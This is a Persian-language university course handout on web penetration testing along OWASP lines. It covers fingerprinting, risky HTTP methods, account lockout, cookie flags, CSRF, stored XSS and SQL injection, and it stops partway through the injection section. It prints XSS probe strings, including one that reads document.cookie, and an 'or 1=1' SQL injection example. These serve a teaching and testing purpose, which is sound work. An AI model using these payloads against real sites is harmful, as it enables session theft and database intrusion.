دوره ارزیابی امنیتی و آزمون نفوذ وب

مرکز فناوری اطلاعات و ارتباطات دانشگاه شیراز

مقدمه

تست نفوذ یا ارزیابی امنیتی روشی است که توسط آن قادر خواهیم بود تا آسیب‌پذیری‌های موجود در نرم‌افزارها، شبکه، وب‌سایت و بانک‌های اطلاعاتی خود را شناسایی کرده و پیش از آنکه نفوذگران واقعی به سیستم وارد شوند، امنیت سیستم خود را افزایش دهیم.

این روش با استفاده از ارزیابی جنبه‌های مختلف امنیتی کمک می‌کند تا با کاهش دادن ریسک‌های امنیتی موجود، احتمال نفوذ غیرمجاز به شبکه را کاهش دهیم.

هدف از انجام تست نفوذ، یافتن آسیب‌پذیری در یک یا چند مورد از زمینه‌های زیر می‌باشد.

- امنیت تجهیزات فعال شبکه
- امنیت سیستم عامل‌ها
- امنیت سرویس‌های شبکه و بانک‌های اطلاعاتی
- امنیت برنامه‌های کاربردی و نرم‌افزارهای تحت شبکه، تحت وب و تحت موبایل

تست نفوذ را می‌توان از دیدگاه‌های متفاوتی بررسی نمود. براساس میزان اطالعاتی که در اختیار تیم نفوذ است، می‌توان سه دسته White-Box ، Black-Box و Gray-Box را در نظر گرفت و از دیدگاه مکان انجام تست نفوذ به Internal و External تقسیم نمود. White-Box و Gray-Box، Black-Box رویکرد تست نفوذ به روش‌های متفاوتی قابل انجام است. بیشترین تفاوت میان این روش‌ها، در میزان اطلاعات مرتبط با جزییات پیاده‌سازی سیستم در حال تست می‌باشد که در اختیار تیم تست نفوذ قرار داده می‌شود. تست Box-Black با فرض فقدان دانش قبلی از زیر ساخت‌هایی است که قرار است مورد تست قرار گیرند. متخصصان باید پیش از آنالیز و بررسی، ابتدا مکان و گستره سیستم‌ها را بطور دقیق مشخص کنند. تست Black-Box در واقع شبیه‌سازی کردن حمله‌های است که توسط نفوذگری انجام می‌شود که در ابتدا با سیستم آشنایی ندارد. از سوی دیگر در تست White-Box اطلاعات ضروری مانند معماری شبکه، کدهای منبع، اطالعات آدرس IP و شاید حتی دسترسی به بعضی از کلمات عبور،در اختیار تیم ارزیابی امنیتی قرار می‌گیرد. تست White-Box حمله‌های را شبیه سازی می‌کند که ممکن است در اثر افشای اطالعات محرمانه از شبکه داخلی یا حضور نفوذگر در داخل سازمان بوجود آید. تست White-Box دارای گستردگی وسیعی می‌باشد و محدوده آن شامل بررسی شبکه محلی تا جستجوی کامل منبع نرم افزارهای کاربردی به منظور کشف آسیب‌پذیری‌هایی که تا کنون از دید برنامه نویسان مخفی مانده است، می‌باشد. روش‌های متنوع دیگری نیز وجود دارد که در واقع مابین دو روش ذکر شده

در بین آن دو قرار می‌گیرند که معمولاً از آنها به تست‌های Gray-Box تعبیر می‌شود. تست نفوذ External و Internalتست External به انواع تستهایی اطلاق می‌شود که در خارج از محدوده سازمانی که قرار است مورد تست نفوذ قرار بگیرد، انجام می‌شود و تستهای Internal در حوزه مکانی آن سازمان و در میان افرادی که آن سازمان فعالیت می‌کنند، انجام می‌شود. نوع اول در واقع سناریویی را بررسی می‌کند که مهاجم با دسترسی داشتن به منابع مورد نیاز خود، از جمله آدرس‌های IP که از سازمان مورد نظر در اختیار دارد و یا با در اختیار داشتن کد منبع نرم افزارهایی که در سازمان استفاده می‌شوند و در اینترنت موجود می‌باشند اقدام به پویش و کشف آسیب‌پذیری نماید. در نوع دوم سناریویی بررسی می‌شود که مهاجم به هر طریق ممکن موفق به ورود به سازمان مورد نظر شده و با جمع آوری داده‌های مورد نظر اقدام به حمله می‌کند. با ورود به محدوده مکانی یک سازمان مهاجم می تواند سناریوهای مختلفی را پیاده سازی نماید. برای نمونه با استفاده از شبکه بیسیم داخلی و بررسی داده‌های به اشتراک گذاشته شده که می تواند اطلاعات کارمندان باشد، حدس زدن کلمات عبور اصلی برای مهاجم ساده‌تر خواهد شد.

مفاهیم اولیه:

روش‌های ارسال دیتا به سمت سرور: در وب برای ارسال یا دیتای کاربر روش‌ها یا متدهای مختلفی داریم. دو متد رایج برای ارسال دیتا و درخواست، متد GET و POST می‌باشد.
در متد GET، دیتا در انتهای URL اضافه می‌شود.
در متد POST، بر خلاف متد GET، داده‌ها قابل نمایش برای همه نمی‌باشد و ارسال دیتا در بدنه‌ی پروتکل http صورت می‌گیرد و نسبت به متد قبلی امنیت بالاتری دارد.

Domain: آدرس‌های یک سایت رو دامنه گویند که یک نام منحصر به فرد برای شناسایی سایت در فضای وب هست. هر دامنه دارای بخش های مختلفی است که با . از هم جدا می‌شوند.

Sub domain: یک زیر مجموعه از دامنه را Sub domain گویند.

Host: فضایی که داده‌ها و کدهای وب سایت بر روی آن قرار می‌گیرند.

DNS: آدرسی که باعث متصل شدن دامین به هاست می‌شود.

استاندارد ارزیابی امنیتی:

OWASP[1] یک متدولوژی به‌منظور ارزیابی امنیتی برنامه‌های وب است. این متدولوژی منحصر به شرکت یا فرد یا سازمان خاصی نبوده و نیست و یک پروژه کاملا متن باز[2] است که هر کسی در هر جای دنیا می‌تواند در آن شرکت کرده و آن را توسعه دهد.

از آنجایی که ارزیابی امنیتی هرگز یک علم دقیق نخواهد بود که در آن یک لیست کامل از تمام مسائل ممکن که باید ارزیابی شوند، مشخص گردد و از طرفی متدلوژی OWASP که متدولوژی متن باز بوده که هر ۴ سال یک بار به طور کامل ویرایش شده و مورد آزمون‌ها و همچنین محتوایی از آن حذف شده و مورد آزمون‌ها و محتوایی جدید به آن اضافه می‌شود.

به‌طور کلی ارزیابی به دو فاز تقسیم می‌شود.

- فاز یک: حالت غیرفعال

در حالت غیرفعال، ارزیاب تلاش می‌کند منطق برنامه را درک کند. می‌توان از ابزارها به‌منظور جمع‌آوری اطلاعات استفاده کرد. به‌عنوان‌مثال می‌توان از یک پروکسی HTTP[3] به‌منظور مشاهده‌ی درخواست‌ها و پاسخ‌های HTTP استفاده کرد. در پایان این فاز ارزیاب باید تمامی نقاط دسترسی برنامه (به‌عنوان‌مثال سرآیندهای HTTP، پارامترها و کوکی‌ها) را کشف کند. در فصل جمع‌آوری اطلاعات، چگونگی ارزیابی غیرفعال را تشریح می‌کنیم. به‌عنوان‌مثال URL[4] زیر را در نظر بگیرید.

```
http://www.example.com/Appx.jsp?a=1&b=1
```

در عبارت فوق، برنامه دو پارامتر a و b را نشان می‌دهد. تمام نقاط ورودی برنامه نشان‌دهنده‌ی یک نقطه‌ی ارزیابی است.

- فاز دو: حالت فعال

در این مرحله ارزیاب با استفاده از روش‌های توصیف‌شده زیر ارزیابی را شروع می‌کند.

  - جمع‌آوری اطلاعات
  - آزمون پیکربندی و مدیریت استقرار

---

[1] Open Web Application Security Protocol Project
[2] Open Source
[3] Hypertext Transfer Protocol
[4] UnifORM Resource Locator

- آزمون مدیریت هویت
- آزمون اصالت‌سنجی
- آزمون مجاز شماری
- آزمون مدیریت نشست
- آزمون اعتبارسنجی ورودی
- پردازش خطا
- آزمون منطق کسب‌وکار

در ادامه به بیان برخی از مورد آزمون‌ها پرداخته می‌شود.

۱) انگشت‌نگاری وب سرور

هدف از این آزمون کشفِ نوع و نسخه وب سرور برای بررسی آسیب‌پذیری‌های مربوط به آن است.

خلاصه

یکی از مهم‌ترین وظایف ارزیابِ وب پیدا کردن اطلاعات مربوط به وب سرور است. دانستن نوع و نسخه وب سرور به ارزیاب اجازه می‌دهد که آسیب‌پذیری‌های مربوط به وب سرور را پیداکرده و در طول آزمون از آن بهره‌برداری کند. این اطلاعات را می‌توان با ارسال دستورات خاص به وب سرور و بررسی پاسخ‌های آن به دست آورد، زیرا هر نسخه از نرم‌افزار وب سرور ممکن است پاسخ متفاوتی به این دستورات دهد.

لازم به ذکر است که می‌توان از پایگاه داده هک گوگل و استفاده از پرس‌وجوهای مربوط به وب سرور نیز برای این کار کمک گرفت.

ساده‌ترین و اساسی‌ترین شکل شناسایی یک وب سرور، بررسی فیلدِ سرآیند پاسخ‌های HTTP است.

۲) آزمون برشماری واسط‌های مدیریتی زیرساخت و برنامه کاربردی

هدف از این آزمون کشف رابط‌های مدیریتی و دسترسی به قابلیت‌های موردنظر برای کاربران ممتاز باشد.

خلاصه

واسطه‌های مدیریتی[۵] ممکن است به‌منظور اجازه دادن به برخی از کاربران برای انجام برخی فعالیت‌های خاص، بر روی سایت در دسترس باشد. در این آزمون بررسی می‌شود که آیا امکان دسترسی به عملکرد خاص توسط یک کاربر معمولی یا یک کاربر غیرمجاز وجود دارد؟

یک برنامه ممکن است نیاز به یک رابط مدیریتی به‌منظور دسترسی به قابلیت‌هایی برای ایجاد تغییراتی در سایت داشته باشد. این تغییرات معمولاً شامل موارد زیر می‌باشد.

- تهیه حساب کاربری
- طراحی سایت
- دست‌کاری داده
- تغییرات پیکربندی

در بسیاری از موارد، چنین رابطه‌هایی از کنترل‌های کافی برای محافظت از دسترسی غیرمجاز برخوردار نیستند. هدف از این آزمون کشف رابط‌های مدیریتی و دسترسی به قابلیت‌های موردنظر برای کاربران ممتاز باشد.

۳) آزمون متدهای HTTP

هدف از این آزمون شناسایی انواع متدهای باز شده HTTP بر روی سرور و همچنین ارزیابی این متدها به‌منظور عدم سوءاستفاده مهاجم از سامانه می‌باشد.

خلاصه

پروتکل HTTP از تعدادی متد به‌منظور انجام برخی اعمال بر روی وب سرور استفاده می‌کند. بسیاری از این متدها برای کمک به توسعه‌دهنده‌ها در توسعه و ارزیابی برنامه‌های HTTP طراحی‌شده‌اند. در صورت پیکربندی نادرست وب سرور بسیاری از متدهای HTTP می‌توانند مورد سوءاستفاده قرار گیرند. به‌عنوان‌مثال حمله CrosSSIteTracing (XST) که نوعی از حملات XSS است با سوءاستفاده از متدهای HTTP اجرا می‌شود. درحالی‌که متدهای GET و POST از رایج‌ترین متدهای دسترسی به اطلاعات ارائه‌شده توسط یک وب سرور است، اما پروتکل HTTP به چندین متد دیگر اجازه دسترسی به اطلاعات سرور را می‌دهد. RFC 2616 هشت متد زیر را برای پروتکل HTTP تعریف می‌کند.

---

[۵] Administrative

یادآوری: RFC 2616 به تشریح نسخه ۱.۱ از پروتکل HTTP که استاندارد امروزه است، می‌پردازد.

- HEAD
- GET
- POST
- PUT
- DELETE
- TRACE
- OPTIONS
- CONNECT

بعضی از این متدها به‌طور بالقوه می‌تواند یک خطر امنیتی برای برنامه وب باشد، زیرا آن‌ها اجازه تغییر فایل‌های ذخیره‌شده در وب سرور و در بعضی موارد، دزدیدن اعتبار کاربران مشروع را می‌دهند. به‌طور خاص متدهایی که که در صورت عدم نیاز، باید غیرفعال شوند عبارت‌اند از:

- **PUT**: این متد به کاربر اجازه می‌دهد تا فایل‌های جدید را در وب سرور بارگذاری کند. مهاجم می‌تواند از این طریق فایل‌های مخرب را در سرور بارگذاری کند. (از جمله فایل‌های Asp که دستورات را با فراخوانی cmd.exe اجرا می‌کنند)
- **DELETE**: این متد به کاربر اجازه می‌دهد یک فایل را از وب سرور حذف کند. مهاجم می‌تواند با سوءاستفاده از این متد به‌راحتی سایت را هک کرده یا حمله DOS را انجام دهد.
- **CONNECT**: این متد به کاربر اجازه می‌دهد که از سرور وب به‌عنوان یک پروکسی استفاده کند.
- **TRACE**: این متد رشته ارسالی از کاربر را مجدداً برمی‌گرداند که عمدتاً برای اهداف اشکال‌زدایی استفاده می‌شود. این متد که در ابتدا تصور می‌شد بی‌ضرر است، اما می‌توان در اجرای حمله CrosSSIteTracing مورد استفاده قرار گیرد. (حمله CrosSSIteTracing توسط ارمیا گروسمن[۶] کشف شد)

۴) تعریف مدیریت هویت، اصالت سنجی و مجازشماری

وظیفه مدیریت هویت پاسخ به این سؤال است که کاربر کیست؟ وظیفه اصالت‌سنجی پاسخ به این سؤال است که آیا فرد موردنظر واقعاً همان کسی است که ادعا می‌کند؟ درواقع وظیفه اصالت‌سنجی، بررسی صحت نام‌کاربری و گذرواژه می‌باشد. وظیفه مجاز شماری پاسخ به این سؤال است که کاربری که به‌طور موفق اصالت‌سنجی شده، مجاز به انجام چه کارهایی می‌باشد. درواقع در مجاز شماری مجموعه مجوزهایی یک کاربر اصالت‌سنجی شده را بررسی می‌کنیم. به‌منظور درک بهتر این سه مفهوم به مثال زیر توجه کنید. فرض کنید یک کارمند جدید می‌خواهد برای اولین بار وارد سازمانی شود هنگام ورود به سازمان، فرد موردنظر خود را به مسئول گیت امنیتی

---

[۶] Jeremiah Grossman

سازمان معرفی می‌کند، به‌عنوان‌مثال ادعا می‌کند که من علی محمدی کارمند جدید هستم. درواقع تا اینجای کار این کارمند خود را معرفی و تعیین هویت کرده است (فرایند مدیریت هویت). اما مسئول گیت امنیتی گفته‌های این کارمند را قبول نمی‌کند و خواستار ارائه مدارکی مبنی بر اثبات اینکه این فرد یک کارمند جدید است و حق ورود دارد، را می‌کند. برای حل این مشکل کارمندِ جدید، کارت سازمان که حاوی مشخصات او است را ارائه می‌دهد. مسئول گیت امنیتی مدارک او را با مشخصات کارمندان جدید مقایسه می‌کند و درصورتی‌که اطلاعات او تأیید شود اجازه ورود به سازمان را پیدا می‌کند. درواقع تا اینجای کار کارمند با موفقیت اصالت‌سنجی شد. آخرین مرحله بررسی مجوز می‌باشد. اگر کارمند با موفقیت تعیین هویت و اصالت‌سنجی شود، آنگاه مجوز دسترسی‌های او بررسی می‌شود. فرض کنید کارمند جدید، استخدام واحد نیرو انسانی شده است حال کارمند با اینکه توسط سازمان اصالت‌سنجی شده، اما مجوز کار یا اقدام خاصی در واحد امور مالی سازمان را ندارد.

در دنیای مجازی نیز همه‌چیز تقریباً همانند دنیای واقعی است، فقط نام کاراکترها تغییر می‌کنند. به‌عنوان‌مثال نگهبان امنیتی همان سرور اصالت‌سنجی است که دسترسی به وب‌سایت را کنترل می‌کند و کارمندی که برای ورود به سازمان مراجعه کرده درواقع یک کاربر است که می‌خواهد وارد سیستم شود.

درواقع هر سه مفهومِ مدیریت هویت، اصالت‌سنجی و مجاز شماری همگی مراحل یک فرآیند، تحت عنوان کنترل دسترسی کاربران به حساب‌های ثبت‌نام شده می‌باشد. به‌عنوان یک قاعده، نام‌کاربری یا آدرس ایمیلی که هنگام ثبت‌نام ارائه می‌شود، به‌عنوان تعیین هویت تلقی می‌شود.

۵) آزمون برای سازوکار ضعیف مسدودسازی

در این آزمون به بررسی مکانیزم‌های مسدودسازی حساب کاربری در برابر حملات جستجوی فراگیر می‌پردازیم.

خلاصه

مکانیزم‌های مسدودسازی[۷] حساب کاربری به‌منظور جلوگیری از حملات جستجوی فراگیر انجام می‌شود. حساب‌ها معمولاً پس از سه تا پنج ورود ناموفق مسدود می‌شوند که پس از یک دوره زمانی مشخص و یا مداخله توسط مدیر مجدداً فعال می‌شوند.

---

۷ lock out

وقتی که برنامه از یک مکانیزم مسدودسازی قوی استفاده نکند مستعد حملات جستجوی فراگیر است. بعد از اجرای موفق حمله‌ی جستجوی فراگیر مهاجم می‌تواند به موارد زیر دسترسی داشته باشد.

- **اطلاعات یا داده‌های محرمانه:** بخش خصوصی یک برنامه وب می‌تواند اسناد محرمانه، اطلاعات نمایه کاربران، اطلاعات مالی، جزئیات حساب بانکی، روابط کاربران و غیره را افشاء کند.
- **پنل‌های مدیریتی:** این بخش‌ها توسط مدیران وب برای مدیریت (تغییر، حذف، اضافه کردن) محتوای برنامه وب، مدیریت مجوزهای کاربران، اختصاص دادن امتیازات مختلف به کاربران و غیره استفاده می‌شود.
- **ایجاد فرصت برای حملات بیشتر:** بخش‌های خصوصی یا محرمانه‌ی یک برنامه‌ی وب می‌تواند شامل آسیب‌پذیری‌هایی باشد که در بخش عمومی برنامه وب وجود ندارد و می‌تواند شامل قابلیت‌های پیشرفته‌ای باشد که برای کاربران عمومی در دسترس نیست.

۶) آزمون ویژگی کوکی‌ها

هدف از این آزمون بررسی پیکربندی ویژگی‌های کوکی است.

خلاصه

معمولاً کوکی‌ها یک عنصر قابل‌توجه برای مهاجمان به‌منظور سوءاستفاده می‌باشد. بنابراین برنامه‌ها برای محافظت از کوکی‌ها، باید اقدامات قابل توجه‌ای را انجام دهند. در این بخش می‌خواهیم بررسی کنیم که یک برنامه در زمان اختصاص کوکی، چه اقدامات امنیتی را باید انجام دهد؟ و ما چگونه این اقدامات امنیتی را ارزیابی کنیم؟ برای درک اهمیت کوکی‌ها، ضروری است ابتدا درک کنیم که کاربرد کوکی‌ها چیست؟

کوکی‌ها به‌منظور ذخیره مجوز نشست[۸] و توکن اصالت‌سنجی[۹] به‌عنوان یک ظرف[۱۰] برای ذخیره‌سازی موقت داده‌ها کاربرد دارد. بنابراین اگر مهاجم بتواند یک توکن نشست را بدست آورد (مهاجم توکن نشست را از طریق آسیب-پذیری XSS یا شنود بدست می‌آورد) آنگاه می‌تواند از این کوکی به‌منظور دزدیدن نشست معتبر یک کاربر استفاده کند. ازآنجایی‌که پروتکل HTTP یک پروتکل ناپایدار است، بنابراین زمانی که سرور درخواستی را دریافت می‌کند، نمی‌تواند تشخیص دهد که آیا این درخواستی که دریافت کرده بخشی از یک نشست مشخص است که قبلاً عمل اصالت‌سنجی را انجام داده، یا شروع یک نشست جدید است و این نشست جدید هنوز عمل اصالت‌سنجی را انجام

---

[۸] Session Authorization
[۹] Authentication Token
[۱۰] Container

نداده است. برای حل این مشکل از کوکی‌ها به‌منظور حفظ وضعیت ارسال چندین درخواست استفاده می‌شود. امروزه اکثر برنامه‌های کاربردی نیازمند پیگیری وضعیت نشست در پی ارسال چندین درخواست هستند. یک مثال بسیار کاربری، مثال فروشگاه اینترنتی می‌باشد. فرض کنید به‌عنوان یک کاربر، چندین محصول را به سبد خریدتان اضافه کرده‌اید حال این داده‌ها به‌منظور استفاده در درخواست‌های بعدی باید ذخیره و نگه‌داری شوند، معمولاً این کار را با استفاده از کوکی‌ها یعنی استفاده از دستورالعمل Set-Cookie در پاسخ‌های HTTP انجام می‌دهند (لازم به ذکر است در هنگام استفاده از کوکی‌ها، باید مرورگرِ کاربر از کوکی‌ها پشتیبانی کند (البته امروزه تمامی مرورگرها از کوکی‌ها پشتیبانی می‌کنند)). هنگامی‌که برنامه به مرورگر می‌گوید که از کوکی خاصی استفاده کند، آنگاه مرورگر آن کوکی را همراه درخواست‌هایش بعدیش به برنامه یا سرور ارسال می‌کند. در مثال فروشگاه اینترنتی، کوکی می‌تواند شامل اطلاعاتی از قبیل اقلام سبد خرید، قیمت این اقلام، تعداد این اقلام، اطلاعات شخصی کاربر، شناسه کاربر و غیره باشد.

با توجه به این‌که معمولاً اطلاعات حساسی در کوکی‌ها ذخیره می‌شوند، بنابراین برای محافظت از کوکی‌ها آن‌ها را کدگذاری یا رمزگذاری می‌کنند. معمولاً درخواست‌هایی که به سرور یا برنامه ارسال می‌کنیم، حاوی چندین کوکی هستند که توسط سمیکالن از هم جدا می‌شوند. به‌عنوان‌مثال در خرید از یک فروشگاه اینترنتی، هنگامی‌که کاربر اقلامی را به سبد خرید خود اضافه می‌کند می‌توان کوکی‌های قبلی را اصلاح یا کوکی جدیدی را به موارد قبلی اضافه کند. به‌طورکلی یک کوکی به‌منظور اصالت‌سنجی کاربر، هنگامی‌که کاربر برای اولین بار به برنامه ورود می‌کند، تنظیم می‌شود. حتی در مورد فروشگاه‌های اینترنتی می‌توان چندین کوکی به‌منظور شناسایی اقلام دلخواه کاربر و اطلاعات مربوط به آن‌ها (قیمت و کیفیت) ایجاد کرد. ارزیاب در هنگام ارزیابی ویژگی‌های کوکی باید به موارد زیر توجه کند.

- ارزیاب باید چگونگی تنظیم ویژگی‌های کوکی را بفهمد.
- چه هنگامی این ویژگی‌ها تنظیم می‌شوند؟
- این ویژگی‌ها به چه منظوری استفاده شده‌اند؟ و اهمیت آن‌ها چیست؟

در ادامه به فهرستی از ویژگی‌هایی که برای هر کوکی می‌توان تنظیم کرد و اینکه معنی این ویژگی‌ها چیست؟ اشاره شده است. در بخش بعدی به چگونگی ارزیابی این ویژگی‌ها تمرکز می‌کنیم.

- ویژگی **Secure** : اگر کوکی حاوی اطلاعات حساس یا توکن‌های نشست باشد، لازم است که از یک کانال رمز شده برای انتقال کوکی‌ها استفاده شود. به‌عنوان‌مثال بعد از ورود[11] به برنامه و تنظیم توکن‌ها در یک کوکی، باید پرچم Secure برای این کوکی فعال شود. اگر این پرچم فعال نشود آنگاه مرورگر می‌تواند کوکی

---

[11] Logging

را از طریق یک کانال رمزگذاری نشده مانند HTTP ارسال کند و این کار موجب می‌شود که مهاجم کوکی را شنود کرده و اطلاعات حساس را از آن برداشت کند.

- ویژگی **HttpOnly** : حتی اگر مرورگرِ کاربر از این ویژگی پشتیبانی نکند، اما حتماً باید این ویژگی برای کوکی‌ها تنظیم شود. این ویژگی مانع از دسترسی به کوکی‌ها از طریق کدهای جاوا اسکریپت سمت کاربر می‌شود. اگرچه این ویژگی حمله XSS را کاملاً خنثی نمی‌کند اما بعضی از بردارهای حمله XSS را خنثی می‌کند. بررسی کنید که آیا برای کوکی‌ها پرچم HttpOnly تنظیم شده است؟
- ویژگی **Domain** : بررسی کنید که ویژگی دامنه بیش‌ازاندازه بزرگ انتخاب نشده باشد. همان‌طور که در بالا ذکر شد این ویژگی برای سروری که کوکی را دریافت می‌کند، تنظیم می‌شود. به‌عنوان‌مثال اگر برنامه بر روی سرور app.mysite.com نگه‌داری می‌شود آنگاه ویژگی دامنه باید به‌صورت "; domain=app.mysite.com" تنظیم شود نه به‌صورت "; domain=.mysite.com" که ممکن است باعث شود که دیگر سرورهای آسیب‌پذیر این کوکی را دریافت کنند.
- ویژگی **Path** : بررسی کنید که ویژگی مسیر همانند ویژگی دامنه بیش‌ازاندازه آزادانه انتخاب نشده باشد. حتی اگر ویژگی دامنه محدود انتخاب شده باشد ولی ویژگی مسیر به دایرکتوری ریشه یعنی / تنظیم شده باشد، می‌تواند برای برنامه‌های که بر روی‌همان سرور هستند و سطح امنیتی پایینی دارند، آسیب‌پذیر باشد. به‌عنوان‌مثال اگر برنامه در دایرکتوری myapp/ نگه‌داری می‌شود باید ویژگی مسیر به‌صورت "; path=/myapp/" تنظیم شود نه بصورت "; path=/" .
- ویژگی **Expires** : اگر این ویژگی برای بازه زمانی طولانی تنظیم شده است، بررسی کنید که کوکی حاوی اطلاعات حساس نباشد. فرض کنید تاریخ امروز ۱۳ جولای سال ۲۰۱۴ است و اگر ویژگی تاریخ اعتبار کوکی به‌صورت ; Expires=Sun, 31-Jul-2016 13:45:29 GMT تنظیم شده باشد، آنگاه لازم است که ارزیاب محتوای کوکی را بازبینی کند. اگر کوکی، یک توکن نشست باشد که بر روی هارد کاربر ذخیره می‌شود، آنگاه اگر مهاجم به این کوکی‌ها دسترسی داشته باشد، تا وقتی که تاریخ اعتبار کوکی‌ها تمام نشده می‌تواند از طریق این کوکی‌ها به برنامه موردنظر دسترسی بگیرد.

۷) آزمون جعل درخواست

هدف از این آزمون بررسی آسیب‌پذیری جعل درخواست است که در آن مهاجم URL ای که منجر به اقدام خاصی در برنامه می‌شود را شناسایی کرده و قربانی را ترغیب می‌کند که این URL را اجرا کند.

خلاصه

CSRF12 حمله‌ای است که مهاجم با استفاده از آن قربانی را مجبور می‌کند که اقدامات ناخواسته‌ای را در یک برنامه وب که در حال حاضر در آن اصالت‌سنجی شده، انجام دهد. با استفاده از هنر مهندسی اجتماعی (مانند ارسال یک لینک از طریق ایمیل یا چت)، مهاجم می‌تواند قربانی را ترغیب کند عملیات موردنظر مهاجم را اجرا کند. در یک حمله موفق CSRF اگر قربانی یک کاربر عادی باشد آنگاه داده‌ها و عملکردهای آن کاربر به خطر می‌افتد اما اگر قربانی، مدیر باشد حمله CSRF می‌تواند کل برنامه وب را به خطر بیندازد.

۸) ارزیابی XSS ذخیره شده

حمله XSS ذخیره شده خطرناک‌ترین نوع حمله XSS است. حمله XSS ذخیره شده زمانی اتفاق می‌افتد که یک برنامه وب، داده‌هایی ورودی از کاربر را بدون اعتبارسنجی مناسب ذخیره می‌کند. برنامه‌های کاربردی وب که به کاربران اجازه ذخیره داده‌ها را می‌دهند، به‌طور بالقوه در معرض این نوع حمله هستند.

خلاصه

حمله XSS ذخیره شده، خطرناک‌ترین نوع حمله XSS می‌باشد. برنامه‌های تحت وب که به کاربر اجازه ذخیره داده را می‌دهند، به‌طور بالقوه در معرض این حمله قرار دارند. در این فصل نمونه‌هایی از حمله XSS ذخیره شده را بررسی و نحوه سوءاستفاده از این حمله را تشریح می‌کنیم. این حمله زمانی رخ می‌دهد که یک برنامه وب، داده‌هایی ورودی از کاربر را بدون اعتبارسنجی مناسب ذخیره می‌کند. اگر داده‌های ورودی کاربر قبل از ذخیره به‌درستی اعتبارسنجی نشده باشد، می‌تواند داده‌های مخرب به‌عنوان بخشی از وب‌سایت ظاهر شود و در مرورگر کاربران اجرا شود. ازآنجایی‌که این آسیب‌پذیری شامل حداقل دو درخواست برای برنامه می‌باشد، به آن XSS نوع دوم نیز گفته می‌شود. این آسیب‌پذیری می‌تواند برای انجام حملات مبتنی بر مرورگر ازجمله موارد زیر مورد استفاده قرار گیرد.

- ردیابی[۱۳] مرورگر سایر کاربران
- ضبط اطلاعات حساس بازدید شده توسط برنامه کاربر

---

[12] Cross-Site Request Forgery
[۱۳] Hijacking

- پویش درگاه میزبان‌های داخلی
- سایر فعالیت‌های مخرب

XSS ذخیره شده نیازی به لینک مخرب برای سوءاستفاده ندارد. بلکه این حمله زمانی موفقیت‌آمیز است که کاربر یک صفحه حاوی XSS ذخیره شده را مشاهده کند. مراحل زیر مربوط به یک سناریو معمول حمله XSS ذخیره شده است.

- مهاجم کدهای مخرب را در صفحه آسیب‌پذیر ذخیره می‌کند.
- کاربران، صفحه آلوده را بازدید می‌کنند.
- کد مخرب توسط مرورگر قربانی اجرا می‌شود.

این نوع حمله می‌تواند با چارچوب‌های بهره‌برداری مرورگر مانند BeEF, XSS Proxy و Backframe موارد سوءاستفاده را آسان کند.

اجرای حمله XSS ذخیره شده در مرورگرِ کاربرانی که دارای امتیازات دسترسی بالا هستند، بسیار خطرناک می‌باشد. هنگامی‌که مدیر از صفحه آسیب‌پذیر بازدید می‌کند، درواقع حمله به‌صورت خودکار توسط مرورگرش اجرا می‌شود. در طی این حمله ممکن است اطلاعات حساس مانند توکن‌های مجوز نشست[۱۴] افشاء شود.

چگونگی انجام آزمون

آزمون جعبه سیاه

آزمون جعبه سیاه حداقل شامل سه مرحله است.

- تشخیص بردارهای ورودی. در ابتدا ارزیاب باید تمام متغیرهای تعریف‌شده توسط برنامه کاربردی و نحوه ورود آن‌ها به برنامه را تعیین کند. این متغیرها شامل ورودی‌های پنهانِ پارامترهای HTTP، داده‌های POST و مقادیر از پیش تعریف‌شده می‌باشد. به‌منظور مشاهده و ارزیابی این متغیرها می‌توان از ویرایشگرهای HTML در مرورگر یا پروکسی‌های وب استفاده کرد.
- بردارهای ورودی برنامه را به‌منظور تحلیل آسیب‌پذیری‌های بالقوه بررسی کنید. برای تشخیص حملات XSS ارزیاب باید از داده‌های نامعتبر[۱۵] در بردارهای ورودی استفاده کند و از پاسخ‌های دریافتی در مرورگر، به وجود آسیب‌پذیری در برنامه پی ببرد. این آزمون را می‌توان با استفاده از فازر[۱۶] برنامه وب، ابزارهای خودکار و یا

---

[۱۴] Session authorization tokens
[۱۵] Crafted
[۱۶] Fuzzer

به‌صورت دستی با استفاده از لیست بردارهای حمله انجام داد. در ادامه به دو نمونه از بردارهای ورودی به‌منظور کشف این‌گونه حملات اشاره شده است.

```
<script>alert(123)</script>
```

```
"><script>alert(document.cookie)</script>
```

برای مشاهده لیست جامعی از بردارهای حمله، به لینک XSS Filter Evasion Cheat مراجعه کنید.

۹) آزمون تزریق SQL

در برخی موارد ورودی‌های کاربر می‌تواند مستقیماً در پایگاه داده اجرا شده و داده‌های حساس از پایگاه داده را بخواند، تغییر دهد (درج / به‌روزرسانی / حذف)، عملیات‌های مدیریتی مانند خاموش کردن پایگاه داده را انجام داده و در بعضی از موارد می‌تواند دستورات سیستم‌عامل را صادر کند. هدف از این آزمون بررسی ورودی‌ها به‌منظور عدم سوءاستفاده از پایگاه داده می‌باشد.

خلاصه

حمله تزریق SQL شامل واردکردن یک یا چند پرس‌وجو غیرمجاز SQL از سمت مشتری به برنامه وب است. یک حمله موفق تزریق SQL می‌تواند داده‌های حساس از پایگاه داده را بخواند، تغییر دهد (درج / به‌روزرسانی / حذف)، عملیات‌های مدیریتی مانند خاموش کردن پایگاه داده را انجام داده، محتوای یک فایل داده موجود در پایگاه داده را بازیابی کند و حتی می‌تواند در فایل‌های سیستمی بنویسد و در بعضی موارد دستورات سیستم‌عامل را صادر کند. به‌طورکلی برنامه‌های کاربردی وب، عبارات SQL را با استفاده از قواعد SQL نوشته شده توسط توسعه-دهندگان و داده‌های ارائه‌شده توسط کاربر می‌سازند. به نمونه زیر که یک دستور SQL است، دقت کنید.

```
select title, text from news where id=$id
```

در مثال فوق متغیر $id شامل داده‌های ارائه شده توسط کاربر است، درحالی‌که بقیه قسمت‌های دستور SQL توسط توسعه‌دهنده ارائه شده است. کاربر می‌تواند ورودی‌هایی را ایجاد کند که علاوه بر اجرای دستور اصلی SQL

اقدامات بعدی موردنظر کاربر را نیز انجام دهد. به‌عنوان‌مثال در نمونه زیر می‌توان با اضافه کردن شرط or 1=1 در قسمت where منطق دستورات SQL را تغییر داد.

```
select title, text from news where id=10 or 1=1
```

حملات تزریق SQL را می‌توان به سه دسته طبقه‌بندی کرد.

۱. **داخل کانال**[۱۷]: در این روش داده‌ها از همان کانالی که تزریق کد SQL انجام شده، استخراج می‌شوند. حمله داخل کانال دقیق‌ترین نوع حمله است که داده‌های بازیابی شده از حمله به‌طور مستقیم در همان صفحه وب ارائه می‌شود.

